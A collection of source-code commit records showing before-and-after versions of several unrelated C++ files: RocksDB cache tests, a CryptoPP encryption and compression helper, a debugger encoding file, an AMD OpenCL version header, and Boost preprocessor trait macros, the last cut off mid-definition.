cache_->Release(h202);\n cache_->Release(h203);\n cache_->Release(h204);\n}\n\nTEST(CacheTest, ErasedHandleState) {\n \/\/ insert a key and get two handles\n Insert(100, 1000);\n Cache::Handle* h1 = cache_->Lookup(EncodeKey(100));\n Cache::Handle* h2 = cache_->Lookup(EncodeKey(100));\n ASSERT_EQ(h1, h2);\n ASSERT_EQ(DecodeValue(cache_->Value(h1)), 1000);\n ASSERT_EQ(DecodeValue(cache_->Value(h2)), 1000);\n\n \/\/ delete the key from the cache\n Erase(100);\n \/\/ can no longer find in the cache\n ASSERT_EQ(-1, Lookup(100));\n\n \/\/ release one handle\n cache_->Release(h1);\n \/\/ still can't find in cache\n ASSERT_EQ(-1, Lookup(100));\n\n cache_->Release(h2);\n}\n\nTEST(CacheTest, HeavyEntries) {\n \/\/ Add a bunch of light and heavy entries and then count the combined\n \/\/ size of items still in the cache, which must be approximately the\n \/\/ same as the total capacity.\n const int kLight = 1;\n const int kHeavy = 10;\n int added = 0;\n int index = 0;\n while (added < 2*kCacheSize) {\n const int weight = (index & 1) ? kLight : kHeavy;\n Insert(index, 1000+index, weight);\n added += weight;\n index++;\n }\n\n int cached_weight = 0;\n for (int i = 0; i < index; i++) {\n const int weight = (i & 1 ? kLight : kHeavy);\n int r = Lookup(i);\n if (r >= 0) {\n cached_weight += weight;\n ASSERT_EQ(1000+i, r);\n }\n }\n ASSERT_LE(cached_weight, kCacheSize + kCacheSize\/10);\n}\n\nTEST(CacheTest, NewId) {\n uint64_t a = cache_->NewId();\n uint64_t b = cache_->NewId();\n ASSERT_NE(a, b);\n}\n\n\nclass Value {\n private:\n size_t v_;\n public:\n explicit Value(size_t v) : v_(v) { }\n\n ~Value() { std::cout << v_ << \" is destructed\\n\"; }\n};\n\nnamespace {\nvoid deleter(const Slice& key, void* value) {\n delete static_cast<Value *>(value);\n}\n} \/\/ namespace\n\nTEST(CacheTest, OverCapacity) {\n size_t n = 10;\n\n \/\/ a LRUCache with n entries and one shard only\n std::shared_ptr<Cache> cache = NewLRUCache(n, 0);\n\n std::vector<Cache::Handle*> handles(n+1);\n\n \/\/ Insert n+1 entries, but not releasing.\n for (size_t i = 0; i < n + 1; i++) {\n std::string key = ToString(i+1);\n handles[i] = cache->Insert(key, new Value(i+1), 1, &deleter);\n }\n\n \/\/ Guess what's in the cache now?\n for (size_t i = 0; i < n + 1; i++) {\n std::string key = ToString(i+1);\n auto h = cache->Lookup(key);\n std::cout << key << (h?\" found\\n\":\" not found\\n\");\n ASSERT_TRUE(h != nullptr);\n if (h) cache->Release(h);\n }\n\n \/\/ the cache is over capacity since nothing could be evicted\n ASSERT_EQ(n + 1U, cache->GetUsage());\n for (size_t i = 0; i < n + 1; i++) {\n cache->Release(handles[i]);\n }\n\n \/\/ cache is under capacity now since elements were released\n ASSERT_EQ(n, cache->GetUsage());\n\n \/\/ element 0 is evicted and the rest is there\n \/\/ This is consistent with the LRU policy since the element 0\n \/\/ was released first\n for (size_t i = 0; i < n + 1; i++) {\n std::string key = ToString(i+1);\n auto h = cache->Lookup(key);\n if (h) {\n ASSERT_NE(i, 0U);\n cache->Release(h);\n } else {\n ASSERT_EQ(i, 0U);\n }\n }\n}\n\nnamespace {\nstd::vector<std::pair<int, int>> callback_state;\nvoid callback(void* entry, size_t charge) {\n callback_state.push_back({DecodeValue(entry), static_cast<int>(charge)});\n}\n};\n\nTEST(CacheTest, ApplyToAllCacheEntiresTest) {\n std::vector<std::pair<int, int>> inserted;\n callback_state.clear();\n\n for (int i = 0; i < 10; ++i) {\n Insert(i, i * 2, i + 1);\n inserted.push_back({i * 2, i + 1});\n }\n cache_->ApplyToAllCacheEntries(callback, true);\n\n sort(inserted.begin(), inserted.end());\n sort(callback_state.begin(), callback_state.end());\n ASSERT_TRUE(inserted == callback_state);\n}\n\n} \/\/ namespace rocksdb\n\nint main(int argc, char** argv) {\n return rocksdb::test::RunAllTests();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*Copyright 2010 George Karagoulis\r\n\r\nLicensed under the Apache License, Version 2.0 (the \"License\");\r\nyou may not use this file except in compliance with the License.\r\nYou may obtain a copy of the License at\r\n\r\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\r\n\r\nUnless required by applicable law or agreed to in writing, software\r\ndistributed under the License is distributed on an \"AS IS\" BASIS,\r\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\nSee the License for the specific language governing permissions and\r\nlimitations under the License.*\/\r\n\r\n#include \"encryption.h\"\r\n#include \"default.h\"\r\n#include \"hex.h\"\r\n#include \"base64.h\"\r\n#include \"files.h\"\r\n#include \"gzip.h\"\r\n#include \"osrng.h\"\r\n#include \"exception.h\"\r\nusing namespace std;\r\nusing namespace GUtil;\r\n\r\nint CryptoHelpers::DEFAULT_COMPRESSION_LEVEL = CryptoPP::Gzip::DEFAULT_DEFLATE_LEVEL;\r\nint CryptoHelpers::MIN_COMPRESSION_LEVEL = CryptoPP::Gzip::MIN_DEFLATE_LEVEL;\r\nint CryptoHelpers::MAX_COMPRESSION_LEVEL = CryptoPP::Gzip::MAX_DEFLATE_LEVEL;\r\n\r\nstring CryptoHelpers::encryptString(const string &instr, const string &passPhrase)\r\n{\r\n string outstr;\r\n\r\n CryptoPP::DefaultEncryptorWithMAC encryptor(passPhrase.c_str(),\r\n new CryptoPP::StringSink(outstr));\r\n\r\n try\r\n {\r\n encryptor.Put((byte *)instr.c_str(), instr.length());\r\n encryptor.MessageEnd();\r\n }\r\n catch(CryptoPP::Exception ex)\r\n {\r\n throw GUtil::Exception(ex.GetWhat());\r\n }\r\n\r\n return outstr;\r\n}\r\n\r\nstring CryptoHelpers::decryptString(const string &instr, const string &passPhrase)\r\n{\r\n string outstr;\r\n\r\n CryptoPP::DefaultDecryptorWithMAC decryptor(passPhrase.c_str(),\r\n new CryptoPP::StringSink(outstr));\r\n\r\n try\r\n {\r\n decryptor.Put((byte *)instr.c_str(), instr.length());\r\n decryptor.MessageEnd();\r\n }\r\n catch(CryptoPP::Exception ex)\r\n {\r\n throw GUtil::Exception(ex.GetWhat());\r\n }\r\n\r\n return outstr;\r\n}\r\n\r\nvoid CryptoHelpers::encryptFile(const char *in, const char *out, const char *passPhrase)\r\n{\r\n try\r\n {\r\n CryptoPP::FileSource f(in, true, new CryptoPP::DefaultEncryptorWithMAC(passPhrase, new CryptoPP::FileSink(out)));\r\n }\r\n catch(CryptoPP::Exception ex)\r\n {\r\n throw GUtil::Exception(ex.GetWhat());\r\n }\r\n}\r\n\r\nvoid CryptoHelpers::decryptFile(const char *in, const char *out, const char *passPhrase)\r\n{\r\n try\r\n {\r\n CryptoPP::FileSource f(in, true, new CryptoPP::DefaultDecryptorWithMAC(passPhrase, new CryptoPP::FileSink(out)));\r\n }\r\n catch(CryptoPP::Exception ex)\r\n {\r\n throw GUtil::Exception(ex.GetWhat());\r\n }\r\n}\r\n\r\nstring CryptoHelpers::compress(const string &instr, int level)\r\n{\r\n string ret;\r\n\r\n if(level < MIN_COMPRESSION_LEVEL ||\r\n level > MAX_COMPRESSION_LEVEL)\r\n level = DEFAULT_COMPRESSION_LEVEL;\r\n\r\n try\r\n {\r\n CryptoPP::Gzip zipper(new CryptoPP::StringSink(ret), level);\r\n zipper.Put((byte*)instr.c_str(), instr.length());\r\n zipper.MessageEnd();\r\n }\r\n catch(CryptoPP::Exception ex)\r\n {\r\n throw GUtil::Exception(ex.GetWhat());\r\n }\r\n\r\n return ret;\r\n}\r\n\r\nstring CryptoHelpers::decompress(const string &instr)\r\n{\r\n string tmp;\r\n\r\n try\r\n {\r\n CryptoPP::StringSource(instr, true, new CryptoPP::Gunzip(new CryptoPP::StringSink(tmp)));\r\n }\r\n catch(CryptoPP::Exception ex)\r\n {\r\n throw GUtil::Exception(ex.GetWhat());\r\n }\r\n\r\n return tmp;\r\n}\r\n\r\nstring CryptoHelpers::toBase64(const string &instr)\r\n{\r\n string tmp;\r\n\r\n CryptoPP::Base64Encoder encoder(new CryptoPP::StringSink(tmp), false);\r\n encoder.Put((byte *)instr.c_str(), instr.length());\r\n encoder.MessageEnd();\r\n\r\n return tmp;\r\n}\r\n\r\nstring CryptoHelpers::fromBase64(const string &instr)\r\n{\r\n string tmp;\r\n\r\n try\r\n {\r\n CryptoPP::StringSource(instr, true,\r\n new CryptoPP::Base64Decoder(new CryptoPP::StringSink(tmp)));\r\n }\r\n catch(CryptoPP::Exception ex)\r\n {\r\n throw GUtil::Exception(ex.GetWhat());\r\n }\r\n\r\n return tmp;\r\n}\r\n\r\nstring CryptoHelpers::toBase16(const string &instr)\r\n{\r\n string tmp;\r\n\r\n CryptoPP::HexEncoder encoder(new CryptoPP::StringSink(tmp), true);\r\n encoder.Put((byte *)instr.c_str(), instr.length());\r\n encoder.MessageEnd();\r\n\r\n return tmp;\r\n}\r\n\r\nstring CryptoHelpers::fromBase16(const string &instr)\r\n{\r\n string tmp;\r\n\r\n try\r\n {\r\n CryptoPP::StringSource(instr, true,\r\n new CryptoPP::HexDecoder(new CryptoPP::StringSink(tmp)));\r\n }\r\n catch(CryptoPP::Exception ex)\r\n {\r\n throw GUtil::Exception(ex.GetWhat());\r\n }\r\n\r\n return tmp;\r\n}\r\n\r\nint CryptoHelpers::rand()\r\n{\r\n CryptoPP::AutoSeededRandomPool rng;\r\n return rng.GenerateWord32();\r\n}\r\n\r\nstring CryptoHelpers::randData(int size, int seed)\r\n{\r\n CryptoPP::RandomPool *rng;\r\n if(seed == -1)\r\n {\r\n rng = new CryptoPP::AutoSeededRandomPool();\r\n }\r\n else\r\n {\r\n rng = new CryptoPP::RandomPool();\r\n\r\n \/\/ Seed the random pool\r\n rng->Put((byte*)(&seed), sizeof(int));\r\n }\r\n\r\n byte *output = new byte[size];\r\n rng->GenerateBlock(output, size);\r\n\r\n string ret = string((char*)output, size);\r\n delete output;\r\n delete rng;\r\n\r\n return ret;\r\n}\r\n<commit_msg>Now it doesn't compress if the file would get bigger<commit_after>\/*Copyright 2010 George Karagoulis\r\n\r\nLicensed under the Apache License, Version 2.0 (the \"License\");\r\nyou may not use this file except in compliance with the License.\r\nYou may obtain a copy of the License at\r\n\r\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\r\n\r\nUnless required by applicable law or agreed to in writing, software\r\ndistributed under the License is distributed on an \"AS IS\" BASIS,\r\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\nSee the License for the specific language governing permissions and\r\nlimitations under the License.*\/\r\n\r\n#include \"encryption.h\"\r\n#include \"default.h\"\r\n#include \"hex.h\"\r\n#include \"base64.h\"\r\n#include \"files.h\"\r\n#include \"gzip.h\"\r\n#include \"osrng.h\"\r\n#include \"exception.h\"\r\nusing namespace std;\r\nusing namespace GUtil;\r\n\r\nint CryptoHelpers::DEFAULT_COMPRESSION_LEVEL = CryptoPP::Gzip::DEFAULT_DEFLATE_LEVEL;\r\nint CryptoHelpers::MIN_COMPRESSION_LEVEL = CryptoPP::Gzip::MIN_DEFLATE_LEVEL;\r\nint CryptoHelpers::MAX_COMPRESSION_LEVEL = CryptoPP::Gzip::MAX_DEFLATE_LEVEL;\r\n\r\nstring CryptoHelpers::encryptString(const string &instr, const string &passPhrase)\r\n{\r\n string outstr;\r\n\r\n CryptoPP::DefaultEncryptorWithMAC encryptor(passPhrase.c_str(),\r\n new CryptoPP::StringSink(outstr));\r\n\r\n try\r\n {\r\n encryptor.Put((byte *)instr.c_str(), instr.length());\r\n encryptor.MessageEnd();\r\n }\r\n catch(CryptoPP::Exception ex)\r\n {\r\n throw GUtil::Exception(ex.GetWhat());\r\n }\r\n\r\n return outstr;\r\n}\r\n\r\nstring CryptoHelpers::decryptString(const string &instr, const string &passPhrase)\r\n{\r\n string outstr;\r\n\r\n CryptoPP::DefaultDecryptorWithMAC decryptor(passPhrase.c_str(),\r\n new CryptoPP::StringSink(outstr));\r\n\r\n try\r\n {\r\n decryptor.Put((byte *)instr.c_str(), instr.length());\r\n decryptor.MessageEnd();\r\n }\r\n catch(CryptoPP::Exception ex)\r\n {\r\n throw GUtil::Exception(ex.GetWhat());\r\n }\r\n\r\n return outstr;\r\n}\r\n\r\nvoid CryptoHelpers::encryptFile(const char *in, const char *out, const char *passPhrase)\r\n{\r\n try\r\n {\r\n CryptoPP::FileSource f(in, true, new CryptoPP::DefaultEncryptorWithMAC(passPhrase, new CryptoPP::FileSink(out)));\r\n }\r\n catch(CryptoPP::Exception ex)\r\n {\r\n throw GUtil::Exception(ex.GetWhat());\r\n }\r\n}\r\n\r\nvoid CryptoHelpers::decryptFile(const char *in, const char *out, const char *passPhrase)\r\n{\r\n try\r\n {\r\n CryptoPP::FileSource f(in, true, new CryptoPP::DefaultDecryptorWithMAC(passPhrase, new CryptoPP::FileSink(out)));\r\n }\r\n catch(CryptoPP::Exception ex)\r\n {\r\n throw GUtil::Exception(ex.GetWhat());\r\n }\r\n}\r\n\r\nstring CryptoHelpers::compress(const string &instr, int level)\r\n{\r\n string ret;\r\n\r\n bool skip_compression = instr.length() > 10000000;\r\n\r\n if(!skip_compression)\r\n {\r\n if(level < MIN_COMPRESSION_LEVEL ||\r\n level > MAX_COMPRESSION_LEVEL)\r\n level = DEFAULT_COMPRESSION_LEVEL;\r\n\r\n try\r\n {\r\n CryptoPP::Gzip zipper(new CryptoPP::StringSink(ret), level);\r\n zipper.Put((byte*)instr.c_str(), instr.length());\r\n zipper.MessageEnd();\r\n }\r\n catch(CryptoPP::Exception ex)\r\n {\r\n throw GUtil::Exception(ex.GetWhat());\r\n }\r\n }\r\n\r\n if(skip_compression || ret.length() > instr.length())\r\n {\r\n \/\/ Leave it uncompressed, because we didn't gain anything by compression\r\n return \"0\" + instr;\r\n }\r\n\r\n return \"1\" + ret;\r\n}\r\n\r\nstring CryptoHelpers::decompress(const string &instr)\r\n{\r\n string tmp;\r\n\r\n if(instr.length() > 0)\r\n {\r\n bool is_compressed = false;\r\n char tmpc = instr.at(0);\r\n if(tmpc == '1')\r\n is_compressed = true;\r\n\r\n string newstr;\r\n if(tmpc == '0' || tmpc == '1')\r\n newstr = instr.substr(1);\r\n else\r\n {\r\n is_compressed = true;\r\n newstr = instr;\r\n }\r\n\r\n if(is_compressed)\r\n {\r\n try\r\n {\r\n CryptoPP::StringSource(newstr, true, new CryptoPP::Gunzip(new CryptoPP::StringSink(tmp)));\r\n }\r\n catch(CryptoPP::Exception ex)\r\n {\r\n throw GUtil::Exception(ex.GetWhat());\r\n }\r\n }\r\n else\r\n return newstr;\r\n }\r\n\r\n return tmp;\r\n}\r\n\r\nstring CryptoHelpers::toBase64(const string &instr)\r\n{\r\n string tmp;\r\n\r\n CryptoPP::Base64Encoder encoder(new CryptoPP::StringSink(tmp), false);\r\n encoder.Put((byte *)instr.c_str(), instr.length());\r\n encoder.MessageEnd();\r\n\r\n return tmp;\r\n}\r\n\r\nstring CryptoHelpers::fromBase64(const string &instr)\r\n{\r\n string tmp;\r\n\r\n try\r\n {\r\n CryptoPP::StringSource(instr, true,\r\n new CryptoPP::Base64Decoder(new CryptoPP::StringSink(tmp)));\r\n }\r\n catch(CryptoPP::Exception ex)\r\n {\r\n throw GUtil::Exception(ex.GetWhat());\r\n }\r\n\r\n return tmp;\r\n}\r\n\r\nstring CryptoHelpers::toBase16(const string &instr)\r\n{\r\n string tmp;\r\n\r\n CryptoPP::HexEncoder encoder(new CryptoPP::StringSink(tmp), true);\r\n encoder.Put((byte *)instr.c_str(), instr.length());\r\n encoder.MessageEnd();\r\n\r\n return tmp;\r\n}\r\n\r\nstring CryptoHelpers::fromBase16(const string &instr)\r\n{\r\n string tmp;\r\n\r\n try\r\n {\r\n CryptoPP::StringSource(instr, true,\r\n new CryptoPP::HexDecoder(new CryptoPP::StringSink(tmp)));\r\n }\r\n catch(CryptoPP::Exception ex)\r\n {\r\n throw GUtil::Exception(ex.GetWhat());\r\n }\r\n\r\n return tmp;\r\n}\r\n\r\nint CryptoHelpers::rand()\r\n{\r\n CryptoPP::AutoSeededRandomPool rng;\r\n return rng.GenerateWord32();\r\n}\r\n\r\nstring CryptoHelpers::randData(int size, int seed)\r\n{\r\n CryptoPP::RandomPool *rng;\r\n if(seed == -1)\r\n {\r\n rng = new CryptoPP::AutoSeededRandomPool();\r\n }\r\n else\r\n {\r\n rng = new CryptoPP::RandomPool();\r\n\r\n \/\/ Seed the random pool\r\n rng->Put((byte*)(&seed), sizeof(int));\r\n }\r\n\r\n byte *output = new byte[size];\r\n rng->GenerateBlock(output, size);\r\n\r\n string ret = string((char*)output, size);\r\n delete output;\r\n delete rng;\r\n\r\n return ret;\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/*\n * A Remote Debugger for SpiderMonkey Java Script engine.\n * Copyright (C) 2014-2015 Sławomir Wojtasiak\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"encoding.hpp\"\n#include <langinfo.h>\n\n#include <string>\n#include <iostream>\n#include <sstream>\n#include <iconv.h>\n#include <errno.h>\n#include <limits.h>\n#include <string.h>\n\n#define MBS_ENC_LOCAL_ENCODING_BUFF_LEN 512\n\nusing namespace Utils;\n\nEncodingFailedException::EncodingFailedException( const std::string& msg )\n : _msg(msg) {\n}\n\nEncodingFailedException::~EncodingFailedException() {\n}\n\nconst std::string& EncodingFailedException::getMsg() const {\n return _msg;\n}\n<commit_msg>encoding.cpp: remove unused macro and includes<commit_after>\/*\n * A Remote Debugger for SpiderMonkey Java Script engine.\n * Copyright (C) 2014-2015 Sławomir Wojtasiak\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"encoding.hpp\"\n\n#include <string>\n\nusing namespace Utils;\n\nEncodingFailedException::EncodingFailedException( const std::string& msg )\n : _msg(msg) {\n}\n\nEncodingFailedException::~EncodingFailedException() {\n}\n\nconst std::string& EncodingFailedException::getMsg() const {\n return _msg;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright (c) 2010 - 2021 Advanced Micro Devices, Inc.\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE. *\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n#define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n#define AMD_PLATFORM_BUILD_NUMBER 3439\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n#define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n#define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING \\\n XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n#define AMD_PLATFORM_INFO \\\n \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO DEBUG_ONLY( \\\n \".\" IF(IS_OPTIMIZED, \"opt\", \"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<commit_msg>SWDEV-2 - Change OpenCL version number from 3439 to 3440<commit_after>\/* Copyright (c) 2010 - 2021 Advanced Micro Devices, Inc.\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE. *\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n#define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n#define AMD_PLATFORM_BUILD_NUMBER 3440\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n#define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n#define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING \\\n XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n#define AMD_PLATFORM_INFO \\\n \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO DEBUG_ONLY( \\\n \".\" IF(IS_OPTIMIZED, \"opt\", \"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<|endoftext|>"} {"text":"<commit_before>#include <boost\/preprocessor.hpp>\n#include <boost\/test\/unit_test.hpp>\n#include <boost\/preprocessor\/seq\/for_each.hpp>\n#include <boost\/preprocessor\/tuple\/elem.hpp>\n#include <boost\/preprocessor\/tuple\/to_seq.hpp>\n#include <boost\/preprocessor\/control\/if.hpp>\n#include <boost\/preprocessor\/repetition\/repeat_from_to.hpp>\n#include <silicium\/to_unique.hpp>\n\n#if SILICIUM_COMPILER_GENERATES_MOVES\n#\tdefine SILICIUM_MOVABLE_MEMBER(struct_name, member_name) \\\n\tstruct_name() = default; \\\n\tSILICIUM_DEFAULT_MOVE(struct_name)\n#else\n#\tdefine SILICIUM_MOVABLE_MEMBER(struct_name, member_name) \\\n\tstruct_name() : member_name() BOOST_NOEXCEPT {} \\\n\tstruct_name(struct_name &&other) BOOST_NOEXCEPT : member_name(std::move(other.member_name)) {} \\\n\tstruct_name &operator = (struct_name &&other) BOOST_NOEXCEPT { member_name = std::move(other.member_name); return *this; }\n#endif\n\n#define SILICIUM_DETAIL_MAKE_PARAMETER(z, n, array) BOOST_PP_COMMA_IF(n) BOOST_PP_ARRAY_ELEM(n, array) BOOST_PP_CAT(arg, n)\n#define SILICIUM_DETAIL_MAKE_PARAMETERS(array) ( BOOST_PP_REPEAT(BOOST_PP_ARRAY_SIZE(array), SILICIUM_DETAIL_MAKE_PARAMETER, array) )\n\n#define SILICIUM_DETAIL_MAKE_PURE_VIRTUAL_METHOD(r, data, elem) \\\n\tvirtual \\\n\tBOOST_PP_TUPLE_ELEM(4, 2, elem) \\\n\tBOOST_PP_TUPLE_ELEM(4, 0, elem) \\\n\tSILICIUM_DETAIL_MAKE_PARAMETERS(BOOST_PP_TUPLE_ELEM(4, 1, elem)) \\\n\tBOOST_PP_TUPLE_ELEM(4, 3, elem) \\\n\t= 0;\n\n#define SILICIUM_DETAIL_MAKE_INTERFACE(name, methods) struct name { \\\n\tvirtual ~name() {} \\\n\tBOOST_PP_SEQ_FOR_EACH(SILICIUM_DETAIL_MAKE_PURE_VIRTUAL_METHOD, _, methods) \\\n};\n\n#define SILICIUM_DETAIL_ERASER_METHOD_ARGUMENT(z, n, text) , BOOST_PP_CAT(_, n)\n\n#define SILICIUM_DETAIL_MAKE_ERASER_METHOD(r, data, elem) \\\n\tvirtual \\\n\tBOOST_PP_TUPLE_ELEM(4, 2, elem) \\\n\tBOOST_PP_TUPLE_ELEM(4, 0, elem) \\\n\tSILICIUM_DETAIL_MAKE_PARAMETERS(BOOST_PP_TUPLE_ELEM(4, 1, elem)) \\\n\tBOOST_PP_TUPLE_ELEM(4, 3, elem) \\\n\tSILICIUM_OVERRIDE { \\\n\t\treturn original. BOOST_PP_TUPLE_ELEM(4, 0, elem) ( \\\n\t\t\tBOOST_PP_ENUM_PARAMS(BOOST_PP_ARRAY_SIZE(BOOST_PP_TUPLE_ELEM(4, 1, elem)), arg) \\\n\t\t); \\\n\t}\n\n#define SILICIUM_DETAIL_MAKE_BOX_METHOD(r, data, elem) \\\n\tBOOST_PP_TUPLE_ELEM(4, 2, elem) \\\n\tBOOST_PP_TUPLE_ELEM(4, 0, elem) \\\n\tSILICIUM_DETAIL_MAKE_PARAMETERS(BOOST_PP_TUPLE_ELEM(4, 1, elem)) \\\n\tBOOST_PP_TUPLE_ELEM(4, 3, elem) { \\\n\t\tassert(original); \\\n\t\treturn original -> BOOST_PP_TUPLE_ELEM(4, 0, elem) ( \\\n\t\t\tBOOST_PP_ENUM_PARAMS(BOOST_PP_ARRAY_SIZE(BOOST_PP_TUPLE_ELEM(4, 1, elem)), arg) \\\n\t\t); \\\n\t}\n\n#define SILICIUM_DETAIL_MAKE_ERASER(name, methods) template <class Original> struct name : interface { \\\n\tOriginal original; \\\n\tSILICIUM_MOVABLE_MEMBER(name, original) \\\n\texplicit name(Original original) : original(std::move(original)) {} \\\n\tBOOST_PP_SEQ_FOR_EACH(SILICIUM_DETAIL_MAKE_ERASER_METHOD, _, methods) \\\n};\n\n#define SILICIUM_DETAIL_MAKE_BOX(name, methods) struct box { \\\n\tstd::unique_ptr<interface> original; \\\n\tSILICIUM_MOVABLE_MEMBER(name, original) \\\n\texplicit name(std::unique_ptr<interface> original) BOOST_NOEXCEPT : original(std::move(original)) {} \\\n\tBOOST_PP_SEQ_FOR_EACH(SILICIUM_DETAIL_MAKE_BOX_METHOD, _, methods) \\\n};\n\n#define SILICIUM_SPECIALIZED_TRAIT(name, specialization, methods) struct name specialization { \\\n\tSILICIUM_DETAIL_MAKE_INTERFACE(interface, methods) \\\n\tSILICIUM_DETAIL_MAKE_ERASER(eraser, methods) \\\n\tSILICIUM_DETAIL_MAKE_BOX(box, methods) \\\n\ttemplate <class Original> \\\n\tstatic eraser<typename std::decay<Original>::type> erase(Original &&original) { \\\n\t\treturn eraser<typename std::decay<Original>::type>{std::forward<Original>(original)}; \\\n\t} \\\n\ttemplate <class Original> \\\n\tstatic box make_box(Original &&original) { \\\n\t\treturn box{Si::to_unique(erase(std::forward<Original>(original)))}; \\\n\t} \\\n};\n\n#define SILICIUM_TRAIT(name, methods) SILICIUM_SPECIALIZED_TRAIT(name, , methods)\n\ntypedef long element;\n\nSILICIUM_TRAIT(\n\tProducer,\n\t((get, (0, ()), element))\n)\n\nstruct test_producer\n{\n\telement get()\n\t{\n\t\treturn 42;\n\t}\n};\n\nBOOST_AUTO_TEST_CASE(trivial_trait)\n{\n\tstd::unique_ptr<Producer::interface> p = Si::to_unique(Producer::erase(test_producer{}));\n\tBOOST_REQUIRE(p);\n\tBOOST_CHECK_EQUAL(42, p->get());\n}\n\ntemplate <class T>\nSILICIUM_TRAIT(\n\tContainer,\n\t((emplace_back, (1, (T)), void))\n\t((resize, (1, (size_t)), void))\n\t((resize, (2, (size_t, T const &)), void))\n\t((empty, (0, ()), 